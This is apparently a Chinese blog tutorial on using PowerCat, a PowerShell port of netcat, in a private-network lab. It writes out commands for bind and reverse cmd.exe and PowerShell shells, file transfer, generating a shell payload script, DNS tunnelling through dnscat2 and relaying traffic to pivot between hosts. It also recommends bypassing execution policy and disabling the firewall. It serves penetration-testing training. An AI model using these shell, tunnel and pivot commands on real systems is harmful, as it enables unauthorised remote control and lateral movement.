PowerCat隧道搭建

简介

PowerCat可以说是nc的PowerShell版本。PowerCat可以通过执行命令回到本地执行,也可以远程权限执行。PowerCat在实战场景中也是使用比较多的一个隧道建立工具,希望读者可以熟练运用这种技术在攻防实践中。

下载PowerCat

这是PowerCat的github下载地址
https://github.com/besimorhino/powercat

下载完成后,我们要使用Import-Module .\powercat.ps1这个命令导入powershell脚本,在实战中我们往往因为权限不足导入失败,因此我们有两种方法。第一种是通过绕过策略绕过权限的限制,另一种是修改它的默认权限为RemoteSigned。比较推荐使用第一种方式,但是为了实验效果,我们这里采用第二种方式导入。
在这里插入图片描述

这里提醒下,Windows server版本的操作系统最好关闭防火墙,因为我在实验的时候,不知道是不是防火墙检测到转发的流量截断了shell的反弹,只有关闭防火墙才能实验成功。这是我们实验环境的信息:

操作系统系统位数IP地址
Windows 764172.16.179.88, 192.168.108.103
Windows Server 200864192.168.108.108
Kali Linux64172.16.179.87

通过nc正向连接PowerCat

首先我们在win7上执行powercat -l -p 8080 -e cmd.exe -v这个命令开启监听
在这里插入图片描述
然后我们在kali上执行netcat 172.16.179.88 8080 -vv这个命令即可反弹回shell
在这里插入图片描述
这里解释一下参数的作用,-l是监听模式,用于入站连接,-p是指定监听端口,-e是指定要启动进程的名称,-v是显示详情。

通过nc反向连接PowerCat

我们在kali上执行netcat -l -p 8888 -vv开启监听
在这里插入图片描述
我们在Windows7上执行powercat -c 172.16.179.87 -p 8888 -v -e cmd.exe命令,-c参数用于提供想要连接的IP地址
在这里插入图片描述

通过PowerCat返回Powershell

我们在win7上执行powercat -c 192.168.108.108 -p 9999 -v -ep命令,-ep参数用于返回PowerShell
在这里插入图片描述
在Windows Server2008上,我们执行powercat -l -p 9999 -v命令
在这里插入图片描述

通过PowerCat传输文件

我们现在win7的桌面上新建一个test.txt文件,并且在win2008上执行powercat -l -p 9999 -of test.txt -v命令
在这里插入图片描述
在win7上执行powercat -c 192.168.108.108 -p 9999 -i C:\Users\testuser\Desktop\test.txt -v命令,-i参数是输入,可以写文件名,也可以直接写字符串;-of参数是输出文件名,可以在文件名前添加路径。
在这里插入图片描述

用PowerCat生成Payload

我们使用PowerCat生成的Payload也有正向和方向之分,并且可以对其进行编码。首先我们使用powercat -l -p 8000 -e cmd -v -g >> shell.ps1生成一个powershell脚本。

然后我们在win7上输入powercat -c 192.168.108.108 -p 8000 -v开启监听
在这里插入图片描述
我们事先要再win2008机子上运行我们的shell.ps1脚本
在这里插入图片描述

PowerCat DNS隧道通信

因为PowerCat的DNS通信是基于dnscat设计的,因此我们需要配置好dnscat的环境
https://github.com/iagox86/dnscat2

然后我们进入dnscat的server目录下,输入gem install bundler和bundler install安装bundler环境

接着我们运行ruby脚本ruby dnscat2.rb ttpowercat.test -e open --no-cache,开启dnscat的监听
在这里插入图片描述
然后我们在win7上执行powercat -c 172.16.179.87 -p 53 -dns ttpowercat.test -e cmd.exe,-dns参数表示使用DNS通信
在这里插入图片描述
kali上获得了一个session
在这里插入图片描述
我们不建议使用这个建立隧道,因为DNS因为自身协议的局限性,在执行命令的时候会比较卡。

将PowerCat作为跳板

首先我们在win2008上执行powercat -l -v -p 9999 -e cmd.exe命令开启监听
在这里插入图片描述

然后在win7上执行powercat -l -v -p 8000 -r tcp:192.168.108.108:9999
在这里插入图片描述
最后让kali和windows7主机进行连接,win7主机就可以将流量转发给win2008主机上了
在这里插入图片描述

其实也可以通过DNS协议的方式

win7
在这里插入图片描述
win2008
在这里插入图片描述
kali
在这里插入图片描述
在这里插入图片描述

  • 1
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

平凡的学者

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值